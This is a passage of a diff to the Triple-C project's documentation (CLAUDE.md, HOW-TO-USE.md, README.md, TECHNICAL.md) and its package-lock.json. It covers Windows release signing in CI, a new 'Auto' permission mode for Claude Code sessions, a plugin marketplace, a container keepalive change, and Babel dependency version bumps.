   a 256-bit key from the user's password (memory-hard — meaningfully resistant to GPU/ASIC
   brute-forcing, unlike PBKDF2 at any reasonable iteration count), AES-256-GCM does the actual
@@ -836,6 +943,72 @@ verbatim copy yields a launcher entry that starts nothing. It keeps `StartupWMCl
 the bundle sets it, which is what lets the shell match the window to the entry. Extraction uses
 `--appimage-extract`, which needs no FUSE, so the script works before `fuse2` is installed.
 
+### Windows code signing
+
+Windows **releases** (`build-app.yml`) are signed with **Azure Artifact Signing**: the app binary,
+the MSI, the NSIS installer and its uninstaller. Three scripts do it, and "Verify signatures"
+fails the job if any of them is unsigned or untimestamped, so an unsigned installer cannot ship
+quietly. **PR previews are deliberately not signed**, and `build-app-preview.yml` must not
+reference the signing secrets. Two reasons: signing is metered (about 1000 signatures a month,
+against roughly 50 preview builds a month), and a PR's workflow runs the PR's own code, so a
+secret available there is available to whoever can push a branch. To exercise signing before a
+merge, dispatch `build-app.yml` on the branch. Every publishing step there is gated on
+`gitea.event_name == 'push'`, so a dispatch builds, signs and verifies without releasing.
+
+- `scripts/windows-signing-setup.ps1` runs once per job. It downloads the signing client
+  (`Microsoft.ArtifactSigning.Client`) and a .NET runtime into `.code-signing/` in the workspace,
+  **each pinned by version and hash**, writes the dlib's `metadata.json`, and writes a Tauri
+  config file with `bundle.windows.signCommand` that the build passes as
+  `cargo tauri build --config`. Nothing is installed on the build VM. To bump
+  a pin, take the hash from nuget.org / the .NET `releases.json`, never from your own download.
+- `scripts/windows-sign.ps1` is the sign command: `signtool sign /dlib` with SHA-256 and the
+  Microsoft timestamp server, retried. Credentials never reach a command line — the dlib reads
+  `AZURE_TENANT_ID` / `AZURE_CLIENT_ID` / `AZURE_CLIENT_SECRET` from the environment.
+  **It signs only an allowlist of what ships**: 5 signatures per release (the app binary twice,
+  because Tauri re-patches it between the MSI and NSIS bundles; the MSI; the NSIS installer;
+  and its uninstaller). Tauri also presents build-time tools, the WiX extension DLLs and NSIS
+  plugins, and signing those would more than double the metered count for no user-visible
+  benefit. If the app ever ships resource DLLs or sidecars, extend the
+  allowlist, or they will go out unsigned. Tauri reports a failed sign command only as
+  "failed to run powershell", so the script keeps a transcript (`.code-signing/sign-output.log`,
+  `signtool /debug` included), and the job prints it on failure.
+- `scripts/windows-verify-signatures.ps1` checks `signtool verify /pa` plus a timestamp on the
+  installers, and on the binaries **inside** the MSI (an administrative `msiexec /a` extract).
+  It deliberately does not check `target\release\triple-c.exe`: Tauri patches that file again
+  after packaging, so the loose copy is unsigned by design and is not what ships. For the NSIS
+  installer, which cannot be unpacked that way, it requires the signing log to show the app
+  binary and the uninstaller were signed.
+
+Secrets (repository): the three `AZURE_*` above plus `ARTIFACT_SIGNING_ENDPOINT`,
+`ARTIFACT_SIGNING_ACCOUNT_NAME`, `ARTIFACT_SIGNING_PROFILE_NAME`. They are referenced only by the
+two Windows steps of `build-app.yml` that need them ("Prepare code signing" and "Build Tauri
+app"), never by the preview workflow, never echoed, and never on a command line. The repo is
+public, so its Actions logs are too. Gitea masks the secret values, and the signing dlib's
+`/debug` output carries no tokens (checked against its strings). Anyone who can push to this
+repo can reach the secrets through a workflow file, so repo write access is the boundary.
+`main` is branch-protected (no direct or force pushes; changes land by merging a PR), so a signed
+release only ever comes from a merged, visible change. The
+Azure side should hold the rest: an app registration with only the signer role on this one
+certificate profile, and a client secret with an expiry. Four things are load-bearing:
+
+- **`metadata.json` excludes every credential but `EnvironmentCredential`.** The dlib uses
+  `DefaultAzureCredential`, whose chain ends in `InteractiveBrowserCredential`; the runners run as
+  SYSTEM, where that waits forever for a browser.
+- **The sign command goes in through `--config`, never `TAURI_CONFIG`.** The v2 CLI does not read
+  that variable — it only sets it, for tauri-build — so a config put there is dropped without an
+  error. The Windows jobs set an inline `TAURI_CONFIG` for years and it never applied;
+  "Verify signatures" is what exposed it, and it is what would catch a regression.
+- **The signing files and the job's `%TEMP%` live in the workspace.** The NSIS uninstaller is
+  written to `%TEMP%` and signed from inside 32-bit `makensis`, under 32-bit PowerShell; WOW64
+  redirects SYSTEM's own `%TEMP%` (under System32) for those processes but not for the x64
+  signtool, so they would disagree about where the file is. The workspace is under
+  `systemprofile\.cache`, which the VM junctions so both views resolve. makensis also ignores
+  the sign command's exit code for the uninstaller, so `windows-sign.ps1` logs every file it
+  signs and the verify step requires a logged signature under that temp directory.
+- **The build VM is `WindowsBuilder` (VM 110 on the Proxmox host `pve4`)**, carrying both the
+  `winvm-builder` and `virtual-builder` runners in host mode. It has the Windows SDK's
+  `signtool` (10.0.26100) but no .NET — hence the job-local runtime.
+
 ## Testing
 
 Frontend tests use Vitest with jsdom environment and React Testing Library. Setup file at `src/test/setup.ts`. Run a single test file:
@@ -843,3 +1016,10 @@ Frontend tests use Vitest with jsdom environment and React Testing Library. Setu
 cd app
 npx vitest run src/path/to/test.test.ts
 ```
+
+CI runs both suites on every PR: the `test` job in `.gitea/workflows/build-app-preview.yml` does
+`npm run build`, `npx vitest run` and `cargo test --locked`, in parallel with the platform builds.
+It is the only place `cargo test` runs on merge, which matters most for the app-command ACL
+census — an ungranted command compiles and only fails at runtime. `build-app.yml` (releases
+from `main`) deliberately does not repeat it. The runner is root, so the few Rust tests that
+exercise file permissions skip themselves there.

HOW-TO-USE.md

@@ -15,6 +15,7 @@ Triple-C (Claude-Code-Container) is a desktop application that runs Claude Code
 - [Permission Modes](#permission-modes)
 - [Project Configuration](#project-configuration)
 - [Shared Claude Authentication](#shared-claude-authentication)
+- [Marketplace](#marketplace)
 - [Opening URLs in Your Browser (URL Relay)](#opening-urls-in-your-browser-url-relay)
 - [Browser Logins Inside the Container (Auth Bridge)](#browser-logins-inside-the-container-auth-bridge)
 - [AWS Bedrock Configuration](#aws-bedrock-configuration)
@@ -469,6 +470,7 @@ replaces the old Full Permissions on/off switch.
 | **Plan** | Proposes a plan and makes no changes | `--permission-mode plan` |
 | **Default** | Asks before each tool call | *(nothing — Claude Code's own default)* |
 | **Accept Edits** | Auto-approves file edits; other tools still prompt | `--permission-mode acceptEdits` |
+| **Auto** | A safety classifier approves routine actions and blocks risky ones, without prompting | `--permission-mode auto` |
 | **Bypass** | Auto-approves every tool call | `--dangerously-skip-permissions` |
 
 New projects start in **Default**. Projects created before permission modes existed keep behaving
@@ -480,12 +482,19 @@ the way they did: one that had Full Permissions on becomes **Bypass**, one that
 > has Docker socket access or reaches services on your network. The Overview tab tells you whether
 > the in-container sandbox is also on.
 
+**Auto** sits between Accept Edits and Bypass: Claude Code's own classifier reviews each action,
+lets routine work through and blocks things that look risky (such as destructive or
+exfiltrating commands) — no prompts either way. Whether it is available depends on your Claude
+Code account, model and backend (local and OpenAI-compatible backends usually won't
+qualify). When it isn't available, Claude Code quietly starts in its normal prompting mode
+instead.
+
 ### When a change takes effect
 
 - **Terminals** — the mode is applied when a terminal is opened, so it affects terminals you open
   from then on. A Claude session that is already running keeps the permissions it started with;
   close the tab and open a new terminal to change it. The badge on each terminal tab shows the mode
-  that terminal was launched with (`plan`, `ask`, `edits`, `bypass`).
+  that terminal was launched with (`plan`, `ask`, `edits`, `auto`, `bypass`).
 - **Resumed sessions** — a session resumed from the **Sessions** tab uses the project's current
   mode.
 - **Scheduled tasks** — these now honour the permission mode too (they previously always ran with
@@ -494,8 +503,10 @@ the way they did: one that had Full Permissions on becomes **Bypass**, one that
   mode change to reach the scheduler.
 
 > Scheduled tasks run headless (`claude -p`) and cannot answer a permission prompt. In any mode
-> other than **Bypass**, a task may simply stop early when Claude Code asks for approval. Its run
-> log records which mode it used.
+> other than **Auto** or **Bypass**, a task may simply stop early when Claude Code asks for
+> approval. In **Auto**, actions the classifier blocks are denied and the run carries on without
+> them — but if Auto isn't available for the project's model or backend, Claude Code falls back
+> to prompting and the task can stall the same way. Its run log records which mode it used.
 
 ---
 
@@ -763,6 +774,28 @@ is next started, at which point the same recreation clears the variable.
 
 ---
 
+## Marketplace
+
+The marketplace installs Claude Code **agents, skills, commands, hooks and plugins** from git repositories into your containers.
+
+1. **Settings → Marketplace → Open Marketplace** opens the Marketplace tab.
+2. **Add a marketplace**: on the Browse tab choose *Add marketplace* and enter an HTTPS clone URL, for example `https://github.com/shadowdao/triple-c-marketplace.git`. For a private repository, pick an account (see below). Triple-C checks it can read the repository before saving.
+3. **Install**: select an item to see what it contains. Turn on **All projects** to install it everywhere (including projects you add later), or tick individual projects. A project can opt out of an "All projects" item by unticking it, or from **Project → Config → Marketplace**.
+4. **Hooks** run shell commands, so Triple-C shows every command before installing one.
+5. **When it applies**: on the container's next start, or straight away for running containers with **Installed → Apply now**. New Claude sessions pick it up; sessions already open keep what they loaded.
+
+**Updates.** Every install is pinned to the commit it came from. When an item changes in its repository, the Installed tab shows *Update available*. Review the diff and accept to move the pin.
+
+**Accounts (private repositories).** On the Accounts tab:
+- *GitHub via gh* — if the GitHub CLI is installed and logged in on this computer, Triple-C uses it. If not, it runs `gh auth login` inside a running project's container and keeps only the resulting token in your OS keychain.
+- *Access token* — any host (GitHub, Gitea, GitLab). The token is stored in your OS keychain.
+
+Credentials never enter containers. If a private repository in a GitHub organisation cannot be read, the error explains the usual causes: the org has not approved the GitHub CLI, the token is not authorised for the org's SSO, or a fine-grained token belongs to a different owner.
+
+**If an item is skipped**: Triple-C never overwrites an agent, skill or command file you created yourself. If one has the same name as a marketplace item, the sync skips it and the project's Config → Marketplace section says so.
+
+---
+
 ## Opening URLs in Your Browser (URL Relay)
 
 There is no browser inside the container and no screen to put one on. Any tool that tries to open
@@ -1349,7 +1382,9 @@ Scheduled runs use the project's [permission mode](#permission-modes) — they n
 with `--dangerously-skip-permissions`. Because the mode travels into the container as an
 environment variable, **stop and start the project** after changing it for the scheduler to see the
 change. Remember that a headless run cannot answer a permission prompt, so in any mode other than
-**Bypass** a task may stop early when Claude Code asks for approval; the run log records the mode
+**Auto** or **Bypass** a task may stop early when Claude Code asks for approval (in Auto, blocked
+actions are denied instead, unless Auto is unavailable and Claude Code falls back to
+prompting); the run log records the mode
 that was used.
 
 ### Creating Tasks

README.md

@@ -114,7 +114,7 @@ progress modal.
 
 ## Permission Modes
 
-`PermissionMode` in `models/project.rs` replaces the old `full_permissions` boolean. Four states,
+`PermissionMode` in `models/project.rs` replaces the old `full_permissions` boolean. Five states,
 mapped to CLI flags by `PermissionMode::cli_args()`:
 
 | Mode | Serialized | CLI args passed to `claude` |
@@ -122,6 +122,7 @@ mapped to CLI flags by `PermissionMode::cli_args()`:
 | **Plan** | `plan` | `--permission-mode plan` |
 | **Default** | `default` | *(none)* |
 | **Accept Edits** | `acceptEdits` | `--permission-mode acceptEdits` |
+| **Auto** | `auto` | `--permission-mode auto` |
 | **Bypass** | `bypass` | `--dangerously-skip-permissions` |
 
 `Project.permission_mode` is `Option<PermissionMode>`; `effective_permission_mode()` falls back to
@@ -531,7 +532,7 @@ Triple-C includes optional speech-to-text powered by [Faster Whisper](https://gi
 | `app/src/components/layout/StatusBar.tsx` | Project/terminal counts, Notes toggle, STT mic |
 | `app/src/components/projects/ProjectRow.tsx` | Select-only sidebar row; opens Project Home, with hover start/stop and terminal controls |
 | `app/src/components/projects/ProjectList.tsx` | Project list in sidebar |
-| `app/src/components/projects/PermissionModeControl.tsx` | Plan / Default / Accept Edits / Bypass segmented control |
+| `app/src/components/projects/PermissionModeControl.tsx` | Plan / Default / Accept Edits / Auto / Bypass segmented control |
 | `app/src/components/ui/` | Shared primitives: `Modal`, `Button`, `Toggle`, `Field`, `SegmentedControl`, `StatusIndicator`, `SaveIndicator`, `OverflowMenu`, `ToastHost`, `Tooltip` |
 | `app/src/hooks/useKeyboardShortcuts.ts` | `Ctrl+T`, `Ctrl+Shift+W`, `Ctrl+Tab`, `Ctrl+1..9`, `Ctrl+Shift+←/→` |
 | `app/src/hooks/useContainerProgress.ts` | `container-progress` event → inline progress lines |

TECHNICAL.md

@@ -137,7 +137,7 @@ Implementation gotchas for the terminal view and its global controls (merged in
 │                                                          │
 │  User: claude (UID/GID remapped to match host)           │
 │  Entrypoint: UID/GID remap → SSH setup → git config →   │
-│              docker socket perms → sleep infinity        │
+│              docker socket perms → root keepalive wait   │
 └──────────────────────────────────────────────────────────┘
 ```
 
@@ -164,7 +164,7 @@ Terminal resize follows the same pattern: `ResizeObserver` detects container siz
 
 Containers follow a **stop/start** model, not create/destroy:
 
-1. **First start**: A new container is created with bind mounts, named volumes, environment variables, and labels. The entrypoint remaps UID/GID, configures SSH and git, rebuilds the scheduler crontab, then runs `sleep infinity` to keep the container alive.
+1. **First start**: A new container is created with bind mounts, named volumes, environment variables, and labels. The entrypoint remaps UID/GID, configures SSH and git, rebuilds the scheduler crontab, then stays resident as root waiting on a root-owned `triple-c-keepalive` sleep — never a process the `claude` user can kill, since any `pkill sleep` a Claude session runs would otherwise stop the container.
 2. **Terminal open**: `docker exec` launches `claude` with a PTY in the running container, with the permission-mode flags from `PermissionMode::cli_args()` (or `bash -l` for a shell session).
 3. **Stop**: `docker stop` halts the container but preserves its filesystem. Any packages Claude installed via `apt`, `pip`, `cargo`, etc. survive.
 4. **Restart**: `docker start` resumes the existing container — unless `container_needs_recreation()` finds a `triple-c.*` label that no longer matches the project's settings, in which case the container is committed to a snapshot image (`triple-c-snapshot-{projectId}:latest`), removed, and recreated from that snapshot. Installed tools survive; the named volumes are untouched.
@@ -186,7 +186,7 @@ host keychain secrets.
 
 ### Permission Modes
 
-`PermissionMode` (`models/project.rs`) is a four-state enum replacing the earlier `full_permissions`
+`PermissionMode` (`models/project.rs`) is a five-state enum replacing the earlier `full_permissions`
 boolean. It reaches Claude Code by two different routes:
 
 | Mode | `cli_args()` — interactive terminals | `as_env_value()` — scheduler |
@@ -194,6 +194,7 @@ boolean. It reaches Claude Code by two different routes:
 | `Plan` | `--permission-mode plan` | `plan` |
 | `Default` | *(no flag)* | `default` |
 | `AcceptEdits` | `--permission-mode acceptEdits` | `acceptEdits` |
+| `Auto` | `--permission-mode auto` | `auto` |
 | `Bypass` | `--dangerously-skip-permissions` | `bypass` |
 
 `Project.permission_mode` is `Option<PermissionMode>`, and `effective_permission_mode()` resolves
@@ -347,7 +348,7 @@ The entrypoint solves this by:
 3. Relocating any existing system user/group that conflicts with the target UID/GID.
 4. Fixing ownership of `/home/claude` after the change.
 
-This runs as root in the entrypoint, then the final `exec su -s /bin/bash claude -c "exec sleep infinity"` drops to the remapped user.
+This runs as root in the entrypoint. The entrypoint itself then stays running as root to keep the container alive; sessions reach the remapped `claude` user through `docker exec --user`. (Older images ended in `exec su -s /bin/bash claude -c "exec sleep infinity"`, which let any `claude` process stop the container by killing that sleep.)
 
 ### SSH Key Handling
 
@@ -474,7 +475,7 @@ triple-c/
     │       │   ├── ProjectRow.tsx        # Select-only sidebar row
     │       │   ├── ProjectList.tsx       # Sidebar project list
     │       │   ├── AddProjectDialog.tsx  # New-project dialog
-    │       │   ├── PermissionModeControl.tsx # Plan/Default/Accept Edits/Bypass
+    │       │   ├── PermissionModeControl.tsx # Plan/Default/Accept Edits/Auto/Bypass
     │       │   ├── ConfirmRemoveModal.tsx    # Project removal confirmation
     │       │   └── *Editor.tsx / *Modal.tsx  # EnvVars, PortMappings,
     │       │                                 # ClaudeInstructions, ClaudeCodeSettings —

app/package-lock.json

@@ -124,13 +124,13 @@
       "license": "MIT"
     },
     "node_modules/@babel/code-frame": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.0.tgz",
-      "integrity": "sha512-9NhCeYjq9+3uxgdtp20LSiJXJvN0FeCtNGpJxuMFZ1Kv3cWUNb6DOhJwUvcVCzKGR66cw4njwM6hrJLqgOwbcw==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.29.7.tgz",
+      "integrity": "sha512-Aup7aUOfpbAUg2ROOJN6Iw5f9DMBlzu0mIkm/malLQFN/YQgO48wCj0Kxa3sEHJvPVFg7siR+qRInwXd2qhQKw==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-validator-identifier": "^7.28.5",
+        "@babel/helper-validator-identifier": "^7.29.7",
         "js-tokens": "^4.0.0",
         "picocolors": "^1.1.1"
       },
@@ -139,9 +139,9 @@
       }
     },
     "node_modules/@babel/compat-data": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.0.tgz",
-      "integrity": "sha512-T1NCJqT/j9+cn8fvkt7jtwbLBfLC/1y1c7NtCeXFRgzGTsafi68MRv8yzkYSapBnFA6L3U2VSc02ciDzoAJhJg==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.29.7.tgz",
+      "integrity": "sha512-locTkQyKvwIEgBzVrn8693ebc97F2U8ZHjbXwDXJ5Fn2TCpNwTlKcaKLkdHop5c/icOFE7qt7Q9JC5hnKNa6Gg==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -149,21 +149,21 @@
       }
     },
     "node_modules/@babel/core": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.0.tgz",
-      "integrity": "sha512-CGOfOJqWjg2qW/Mb6zNsDm+u5vFQ8DxXfbM09z69p5Z6+mE1ikP2jUXw+j42Pf1XTYED2Rni5f95npYeuwMDQA==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.29.7.tgz",
+      "integrity": "sha512-RgHBCvtjbOK2gXSNBNIkNoEc9qoVEtau3hj8gEqKQuL3HZAibKarWFEI3Lfm6EYKkLalOh8eSrj9b+ch9H/VBA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.29.0",
-        "@babel/generator": "^7.29.0",
-        "@babel/helper-compilation-targets": "^7.28.6",
-        "@babel/helper-module-transforms": "^7.28.6",
-        "@babel/helpers": "^7.28.6",
-        "@babel/parser": "^7.29.0",
-        "@babel/template": "^7.28.6",
-        "@babel/traverse": "^7.29.0",
-        "@babel/types": "^7.29.0",
+        "@babel/code-frame": "^7.29.7",
+        "@babel/generator": "^7.29.7",
+        "@babel/helper-compilation-targets": "^7.29.7",
+        "@babel/helper-module-transforms": "^7.29.7",
+        "@babel/helpers": "^7.29.7",
+        "@babel/parser": "^7.29.7",
+        "@babel/template": "^7.29.7",
+        "@babel/traverse": "^7.29.7",
+        "@babel/types": "^7.29.7",
         "@jridgewell/remapping": "^2.3.5",
         "convert-source-map": "^2.0.0",
         "debug": "^4.1.0",
@@ -180,14 +180,14 @@
       }
     },
     "node_modules/@babel/generator": {
-      "version": "7.29.1",
-      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.1.tgz",
-      "integrity": "sha512-qsaF+9Qcm2Qv8SRIMMscAvG4O3lJ0F1GuMo5HR/Bp02LopNgnZBC/EkbevHFeGs4ls/oPz9v+Bsmzbkbe+0dUw==",
+      "version": "7.29.12",
+      "resolved": "https://registry.npmjs.org/@babel/generator/-/generator-7.29.12.tgz",
+      "integrity": "sha512-2W76mhjrpQFO1lK5e8IvGYB2D0YZ7S2R1Z2BjO2ZUYuW+amcpK/z60U6ZZmzskwoa7sJ6XohP/Wg8H5KxXI/IA==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/parser": "^7.29.0",
-        "@babel/types": "^7.29.0",
+        "@babel/parser": "^7.29.12",
+        "@babel/types": "^7.29.11",
         "@jridgewell/gen-mapping": "^0.3.12",
         "@jridgewell/trace-mapping": "^0.3.28",
         "jsesc": "^3.0.2"
@@ -197,14 +197,14 @@
       }
     },
     "node_modules/@babel/helper-compilation-targets": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.28.6.tgz",
-      "integrity": "sha512-JYtls3hqi15fcx5GaSNL7SCTJ2MNmjrkHXg4FSpOA/grxK8KwyZ5bubHsCq8FXCkua6xhuaaBit+3b7+VZRfcA==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-compilation-targets/-/helper-compilation-targets-7.29.7.tgz",
+      "integrity": "sha512-wem6WaBj4NaVYVdNhLPPVacES6ZJ+KBBfSkTMD3YZxbP3rm3Di85tJU5ljaUNhaOynt+Aj0xruhYuzQBt8n71g==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/compat-data": "^7.28.6",
-        "@babel/helper-validator-option": "^7.27.1",
+        "@babel/compat-data": "^7.29.7",
+        "@babel/helper-validator-option": "^7.29.7",
         "browserslist": "^4.24.0",
         "lru-cache": "^5.1.1",
         "semver": "^6.3.1"
@@ -214,9 +214,9 @@
       }
     },
     "node_modules/@babel/helper-globals": {
-      "version": "7.28.0",
-      "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.28.0.tgz",
-      "integrity": "sha512-+W6cISkXFa1jXsDEdYA8HeevQT/FULhxzR99pxphltZcVaugps53THCeiWA8SguxxpSp3gKPiuYfSWopkLQ4hw==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-globals/-/helper-globals-7.29.7.tgz",
+      "integrity": "sha512-3nQVUAtvkKH9zahfWgw96Jc/uFOmjACE1kQz82E2lqWmHBgjzbNlsC22nuQTfahmWeQtTq5nQ/4Nnd2A1wj4zA==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -224,29 +224,29 @@
       }
     },
     "node_modules/@babel/helper-module-imports": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.28.6.tgz",
-      "integrity": "sha512-l5XkZK7r7wa9LucGw9LwZyyCUscb4x37JWTPz7swwFE/0FMQAGpiWUZn8u9DzkSBWEcK25jmvubfpw2dnAMdbw==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-imports/-/helper-module-imports-7.29.7.tgz",
+      "integrity": "sha512-ejHwrQQYcm9xnTivShn2IDOlIzInN34AXskvq9QicvCtEzq1Vzclu/tKF8Jq1Cg8JG2GL6/EmjgsCT7lXepE3g==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/traverse": "^7.28.6",
-        "@babel/types": "^7.28.6"
+        "@babel/traverse": "^7.29.7",
+        "@babel/types": "^7.29.7"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/helper-module-transforms": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.28.6.tgz",
-      "integrity": "sha512-67oXFAYr2cDLDVGLXTEABjdBJZ6drElUSI7WKp70NrpyISso3plG9SAGEF6y7zbha/wOzUByWWTJvEDVNIUGcA==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-module-transforms/-/helper-module-transforms-7.29.7.tgz",
+      "integrity": "sha512-UPUVSyXbOh627KiCIGQSgwWzGeBKLkaJ9PJEdrngIwMSzxLR4jS4+f1f1jb7VzBbg8nFLaYotvVPFCTqdrmTAg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/helper-module-imports": "^7.28.6",
-        "@babel/helper-validator-identifier": "^7.28.5",
-        "@babel/traverse": "^7.28.6"
+        "@babel/helper-module-imports": "^7.29.7",
+        "@babel/helper-validator-identifier": "^7.29.7",
+        "@babel/traverse": "^7.29.7"
       },
       "engines": {
         "node": ">=6.9.0"
@@ -266,9 +266,9 @@
       }
     },
     "node_modules/@babel/helper-string-parser": {
-      "version": "7.27.1",
-      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz",
-      "integrity": "sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==",
+      "version": "7.29.11",
+      "resolved": "https://registry.npmjs.org/@babel/helper-string-parser/-/helper-string-parser-7.29.11.tgz",
+      "integrity": "sha512-snZbO7MEDOof+hvNa97EjEY7qD7h2kwvQr5AJC3ZhQudKW5dnej6k3kP9NQV88hJwaS8vDqRLFo9rivLEhle2g==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -276,9 +276,9 @@
       }
     },
     "node_modules/@babel/helper-validator-identifier": {
-      "version": "7.28.5",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.28.5.tgz",
-      "integrity": "sha512-qSs4ifwzKJSV39ucNjsvc6WVHs6b7S03sOh2OcHF9UHfVPqWWALUsNUVzhSBiItjRZoLHx7nIarVjqKVusUZ1Q==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-identifier/-/helper-validator-identifier-7.29.7.tgz",
+      "integrity": "sha512-qehxGkRj55h/ff8EMaJ+cYhyaKlHIxqYDn682wQD7RNp9UujOQsHog2uS0r2vzr4pW+sXf90NeeayjcNaX3fFg==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -286,9 +286,9 @@
       }
     },
     "node_modules/@babel/helper-validator-option": {
-      "version": "7.27.1",
-      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.27.1.tgz",
-      "integrity": "sha512-YvjJow9FxbhFFKDSuFnVCe2WxXk1zWc22fFePVNEaWJEu8IrZVlda6N0uHwzZrUM1il7NC9Mlp4MaJYbYd9JSg==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/helper-validator-option/-/helper-validator-option-7.29.7.tgz",
+      "integrity": "sha512-N9ZErrD+yW5geCDtBqnOoxmR8+tNKiGuxKlDpuJxfsqpa2dFcexaziGAE/qoHLiDDreVNMupxGmSoNlyvsA3gw==",
       "dev": true,
       "license": "MIT",
       "engines": {
@@ -296,27 +296,27 @@
       }
     },
     "node_modules/@babel/helpers": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.28.6.tgz",
-      "integrity": "sha512-xOBvwq86HHdB7WUDTfKfT/Vuxh7gElQ+Sfti2Cy6yIWNW05P8iUslOVcZ4/sKbE+/jQaukQAdz/gf3724kYdqw==",
+      "version": "7.29.10",
+      "resolved": "https://registry.npmjs.org/@babel/helpers/-/helpers-7.29.10.tgz",
+      "integrity": "sha512-EMCx3AGZ3WfAl6ht7AyQoPm2Lh+BGYEMdc4Q6Hf7uSCDOZFuLq44qNwL+iaim8VlyYhRAo4X43+weadK8ZB4Yg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/template": "^7.28.6",
-        "@babel/types": "^7.28.6"
+        "@babel/template": "^7.29.7",
+        "@babel/types": "^7.29.8"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/parser": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.0.tgz",
-      "integrity": "sha512-IyDgFV5GeDUVX4YdF/3CPULtVGSXXMLh1xVIgdCgxApktqnQV0r7/8Nqthg+8YLGaAtdyIlo2qIdZrbCv4+7ww==",
+      "version": "7.29.12",
+      "resolved": "https://registry.npmjs.org/@babel/parser/-/parser-7.29.12.tgz",
+      "integrity": "sha512-WJ7JBp/Q4+z/ImydtI7jS6NVco5++632ExBemSX+Ysb+G1lCwQ5BVo3SY+jGGOcZXI4ZccbZSUSJLNBW6eEpJg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/types": "^7.29.0"
+        "@babel/types": "^7.29.11"
       },
       "bin": {
         "parser": "bin/babel-parser.js"
@@ -368,33 +368,33 @@
       }
     },
     "node_modules/@babel/template": {
-      "version": "7.28.6",
-      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.28.6.tgz",
-      "integrity": "sha512-YA6Ma2KsCdGb+WC6UpBVFJGXL58MDA6oyONbjyF/+5sBgxY/dwkhLogbMT2GXXyU84/IhRw/2D1Os1B/giz+BQ==",
+      "version": "7.29.7",
+      "resolved": "https://registry.npmjs.org/@babel/template/-/template-7.29.7.tgz",
+      "integrity": "sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.28.6",
-        "@babel/parser": "^7.28.6",
-        "@babel/types": "^7.28.6"
+        "@babel/code-frame": "^7.29.7",
+        "@babel/parser": "^7.29.7",
+        "@babel/types": "^7.29.7"
       },
       "engines": {
         "node": ">=6.9.0"
       }
     },
     "node_modules/@babel/traverse": {
-      "version": "7.29.0",
-      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.0.tgz",
-      "integrity": "sha512-4HPiQr0X7+waHfyXPZpWPfWL/J7dcN1mx9gL6WdQVMbPnF3+ZhSMs8tCxN7oHddJE9fhNE7+lxdnlyemKfJRuA==",
+      "version": "7.29.12",
+      "resolved": "https://registry.npmjs.org/@babel/traverse/-/traverse-7.29.12.tgz",
+      "integrity": "sha512-MscXe/NAZcOkYEsRajHZFt3ynsb22PUi6CTrp5U7+RYycR9By84mn9mFN54YgfITiqK4hFx3Ju3tZSyzfpS5ew==",
       "dev": true,
       "license": "MIT",
       "dependencies": {
-        "@babel/code-frame": "^7.29.0",
-        "@babel/generator": "^7.29.0",
-        "@babel/helper-globals": "^7.28.0",
-        "@babel/parser": "^7.29.0",
-        "@babel/template": "^7.28.6",
-        "@babel/types": "^7.29.0",
+        "@babel/code-frame": "^7.29.7",
+        "@babel/generator": "^7.29.12",
+        "@babel/helper-globals": "^7.29.7",
+        "@babel/parser": "^7.29.12",
+        "@babel/template": "^7.29.7",
